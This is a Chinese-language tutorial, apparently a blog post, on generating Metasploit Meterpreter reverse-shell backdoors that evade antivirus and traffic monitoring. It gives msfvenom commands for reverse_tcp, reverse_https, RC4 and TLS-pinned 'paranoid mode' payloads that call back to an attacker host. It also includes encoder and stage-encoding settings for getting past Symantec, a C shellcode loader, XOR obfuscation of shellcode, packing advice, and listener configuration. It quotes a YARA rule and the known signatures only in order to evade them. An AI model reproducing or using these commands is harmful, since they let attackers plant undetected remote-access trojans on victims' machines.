MSF+生成流量免杀木马
共 4013字,需浏览 9分钟
·
2022-01-16 20:44
在实战中,即便你绕过了杀毒软件的检测,也很有可能会结束在某些流量监控的设备上。MSF可以说其是每一个内网玩家的必用工具。理所当然,这款工具也自然而然地被各大安全厂商分析,捕捉其在命令执行时产生的数据和流量。当我们使用一个没有做过加密处理的原版工具时,内网中的安全设备会根据我们的流量特征进行判断,认定我们为恶意进程,从而导致控制中断。
Meterpreter技巧
生成后门
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.200 lport=4444 -f exe > /root/Desktop/Green_m.exe
这样可以生成一个使用tcp协议反向连接到192.168.1.200的4444端口的meterpreter的后门。
这样生成的exe可以运行,但是会被杀掉。
生成shellcode免杀
手动编译meterpreter并对shellcode进行编码就能绕过静态查杀,meterpreter本身就是直接加载进内存并且有编码,绕过动态查杀基本没问题
msfvenom -p windows/meterpreter/reverse_tcp
-e x86/shikata_ga_nai -i 5 -b ‘\x00’
lhost=192.168.1.200 lport=4444 -f c
上述命令生成在之前的基础上生成基于c语言格式的shellcode,通过e参数指定编码方式,i参数指定编码次数,b参数去除指定代码,一般是空代码或者错误代码,-f指定生成格式。
unsigned char buf[] =
"shellcode is here";
main()
{
( (void(*)(void))&buf)();
}
这种方式vc++6.0能够成功编译
选择payload进行免杀
上面生成shellcode的方式是针对杀软静态免杀的,接下来说到动态行为免杀。
在对市面上主流的杀软进行测试的过程中,发现symantec会在meterpreter回连成功,从metasploit里接受数据的时候报毒。
无论是自己手动编码编译还是msf自动生成的exe都会这样被报毒。
使用reverse_https等payload可以anti symantec。
msfvenom -p windows/meterpreter/reverse_https
lhost=192.168.1.200 lport=443 -f c
但是需要在metasploit设置:
set EnableStageEncoding true
set stageencoder x86/fnstenv_mov
set stageencodingfallback false
将控制端向被控制端发送的stage进行编码,从而绕过symantec的查杀。
同样,使用reverse_tcp_rc4也有同样的效果,而且不用设置stageencoder选项,更稳定更方便。
msfvenom -p windows/meterpreter/reverse_tcp_rc4
lhost=192.168.1.200 lport=4444 RC4PASSWORD=Green-m
-f c
利用rc4对传输的数据进行加密,密钥在生成时指定,在监听的服务端设置相同的密钥。就可以在symantec眼皮底下执行meterpreter。
Meterpreter免杀及对抗分析
静态检测与对抗
静态分析原理
简单的来说,就是通过特征码识别静态文件,杀软会扫描存在磁盘上的镜像文件,如果满足特征码,就识别为恶意软件。
恶意软件匹配规则yara匹配恶意软件的时候就是用的这样的方式。通过特征来识别抓HASH工具QuarksPwDump,yara规则如下
/*
This Yara ruleset is under the GNU-GPLv2 license (http://www.gnu.org/licenses/gpl-2.0.html) and open to any user or organization, as long as you use it under this license.
*/
rule QuarksPwDump_Gen : Toolkit {
meta:
description = "Detects all QuarksPWDump versions"
author = "Florian Roth"
date = "2015-09-29"
score = 80
hash1 = "2b86e6aea37c324ce686bd2b49cf5b871d90f51cec24476daa01dd69543b54fa"
hash2 = "87e4c76cd194568e65287f894b4afcef26d498386de181f568879dde124ff48f"
hash3 = "a59be92bf4cce04335bd1a1fcf08c1a94d5820b80c068b3efe13e2ca83d857c9"
hash4 = "c5cbb06caa5067fdf916e2f56572435dd40439d8e8554d3354b44f0fd45814ab"
hash5 = "677c06db064ee8d8777a56a641f773266a4d8e0e48fbf0331da696bea16df6aa"
hash6 = "d3a1eb1f47588e953b9759a76dfa3f07a3b95fab8d8aa59000fd98251d499674"
hash7 = "8a81b3a75e783765fe4335a2a6d1e126b12e09380edc4da8319efd9288d88819"
strings:
$s1 = "OpenProcessToken() error: 0x%08X" fullword ascii
$s2 = "%d dumped" fullword ascii
$s3 = "AdjustTokenPrivileges() error: 0x%08X" fullword ascii
$s4 = "\\SAM-%u.dmp" fullword ascii
condition:
all of them
}
可以看到匹配匹配s2 s4全部四条规则及标记为识别。
当然还有通过md5、sha1来计算文件hash识别恶意软件,最简单粗暴而且有效,但是也很容易绕过,也有分段进行hash来识别相似度的方法,原理和上面的特征码识别都是一样的,这里不再赘述。
对抗静态分析
1.修改特征码 特征码的识别也有一些不同的方式,最开始是使用单个特征码来定位,就有了与之对抗的ccl,随着对抗技术的升级,就有了多条的特征码,对应的也就有了mutilccl, myccl, virtest,甚至现在github上的自动化特征码识别,技术越来越多样。
修改特征码最重要的是定位特征码,但是定位了特征码修改后并不代表程序就能正常运行,费时费力,由于各个杀软厂商的特征库不同,所以一般也只能对一类的杀软起效果。虽然效果不好,但有时候在没有源码的情况下可以一用。
虽然meterpreter对于我们来说是开源的,但是偶尔编译出来的文件修改一些小地方就能让杀软直接报废,也算是一个保留方法了。
2.加壳 加壳虽然对于特征码绕过有非常好的效果,加密壳基本上可以把特征码全部掩盖,但是缺点也非常的明显,因为壳自己也有特征。在某些比较流氓的国产杀软的检测方式下,主流的壳如VMP, Themida等,一旦被检测到加壳直接弹框告诉你这玩意儿有问题,虽然很直接,但是还是挺有效的。有些情况下,有的常见版本的壳会被直接脱掉分析。
面对这种情况可以考虑用一切冷门的加密壳,有时间精力的可以基于开源的压缩壳改一些源码,效果可能会很不错。
总得来说,加壳的方式来免杀还是比较实用的,特别是对于不开源的PE文件,通过加壳可以绕过很多特征码识别。
3.shellcode 编译 msfvenom不仅提供多种格式的payload,其中就包括shellcode。shellcode对于源码免杀来说基本上是最好用的那种,绕过静态杀软的神器。
使用msfvenom选择encoder的时候大家一般都会选择shikata_ga_nai这个编码方式(因为x86的encoder里只有它的Rank是excellent),这个encoder的解码和编码过程都是随机生成的。
但是,这个编码内容是有特征的,经过shikata_ga_nai 编码之后的shellcode必定含有\xd9\x74\x24\xf4 这串16进制字符
当然不止是 shikata_ga_na 编码方式,其他的编码方式特征可能更加明显(x86/fnstenv_mov 的编码方式就被很多杀软能直接检测到,远不如 shikata_ga_na )。那么如果要对抗这样的情况,只能自己再将编码过后的shellcode进行编码或者加密。
这里写一个简单的xor作为demo供大家感受一下,代码如下:
unsigned char shellcode[]=
"\x33\xc9\xb1\xc6\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xe6";
// the key to xor
unsigned char key[]="\xcc\0xfa\0x1f\0x3d";
// encode shellcode
for ( i=0; i<(sizeof(shellcode)-1) ; i=i+1)
{
shellcode[i]=shellcode[i]^key[i % sizeof(key)];
}
// decoder
void decode()
{
for (i=0; i<(sizeof(shellcode)-1); i+=1)
shellcode[i]=shellcode[i]^key[i%sizeof(key)];
}
void executeShellcode()
{
decode();
// run shellcode
}
流量检测与对抗
Meterpreter的传输加载
要知道meterpreter的流量特征,首先要搞清楚meterpreter的传输方式。
metasploit的木马分为两个大类,staged 和stageless 。
staged类型的木马的运行流程为:
客户端在从服务器端接收stager后,stager由引导代码loader和payload组成,客户端在内存中分配一段地址将payload暂存起来,再通过loader来加载内存中的payload。这种内存中注入PE文件的方式称为反射型DLL注入。
stageless的则是将完整的payload都编译在木马中,相对与staged的木马来说,前者体积庞大不灵活,而且容易被杀。
我们以windows/meterpreter/reverse_tcp为例,下面是部分源码(完整源码)
# Generate and compile the stager
#
def generate_reverse_tcp(opts={})
combined_asm = %Q^
cld ; Clear the direction flag.
call start ; Call start, this pushes the address of 'api_call' onto the stack.
#{asm_block_api} ; To find some functions address such as VirutalAlloc()
start:
pop ebp
#{asm_reverse_tcp(opts)} ; Send and recvice socket connection
#{asm_block_recv(opts)} ; Do some stuff after recvied payload
^
Metasm::Shellcode.assemble(Metasm::X86.new, combined_asm).encode_string
end
asm_block_api
部分是用来定义查询API调用地址的函数。
asm_reverse_tcp
部分是用来发送socket请求的。
asm_block_recv
部分是建立连接后,接收服务端发送的stager,再通过 VirtualAlloc() 分配RWX权限的内存,然后执行后续。
这部分建客户端发起连接的过程其实是没有什么特征的,特征主要是在服务端发送的stager,接下来让我们详细看看发送的stager里是什么。
为了让客户端运行服务端发送的meterpreter payload,需要先发送一个加载meterpreter_loader
这段代码主要作用是加载反射性注入的引导代码ReflectiveLoader,通过ReflectiveLoader来加载meterpreter及相关配置。
上面分析这段meterpreter_loader是固定的一段汇编代码,通过nasm将该部分汇编代码转化为机器码如下:
4d5ae8000000005b52455589e581c364130000ffd381c395a40200893b536a0450ffd0
该16进制字符串即为meterpreter的特征。
对抗流量检测
既然流量是有特征的,那么有没有办法对流量进行加密呢,答案是肯定的,在某些环境下,我们需要用到meterpreter的偏执模式(paranoid mode)。
偏执模式在面对接受的请求很多的时候,可以有效过滤筛选回连的请求,只留下自己所需要的。
同时,因为其使用了SSL/TLS 认证,因此在应对流量监控和分析时,有很不错的效果,当然也能够Bypass av(by data stream)。
创建一个SSL/TLS证书
在kali或者其他带有openssl的环境下:
$ openssl req -new -newkey rsa:4096 -days 365 -nodes -x509 \
-subj "/C=US/ST=Texas/L=Austin/O=Development/CN=green-m.github.io" \
-keyout green-m.github.io.key \
-out green-m.github.io.crt && \
cat green-m.github.io.key green-m.github.io.crt > green-m.github.io.pem && \
rm -f green-m.github.io.key green-m.github.io.crt
你可以把green-m.github.io这个URL改成任意你想回连的地址,直接指定相应IP也可以。
如果能搞到一个受信任的证书颁发机构签名的SSL/TLS证书,那就流量直接畅通无阻。
生成偏执模式的payload
msfvenom -p windows/meterpreter/reverse_winhttps LHOST=green-m.github.io LPORT=443 PayloadUUIDTracking=true HandlerSSLCert=./green-m.github.io.pem StagerVerifySSLCert=true PayloadUUIDName=Green_m -f exe -o ./Green_m.exe
通过设置PayloadUUIDTracking和PayloadUUIDName可以在监听的时候过滤掉不需要的回连请求。为了Bypass av的需求,你还可以生成shellcode来自己编译。
如果网络环境不好,你还可以使用stageless的payload,-p参数指定windows/meterpreter_reverse_https,其他不用修改。
监听偏执模式
msfconsole
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_winhttps
set LHOST green-m.github.io
set LPORT 443
set HandlerSSLCert ./green-m.github.io.pem
set IgnoreUnknownPayloads true
set StagerVerifySSLCert true
set exitonsession false
run -j -z
设置HandlerSSLCert和StagerVerifySSLCert参数来使用TLS pinning,IgnoreUnknownPayloads接受白名单的payload。
end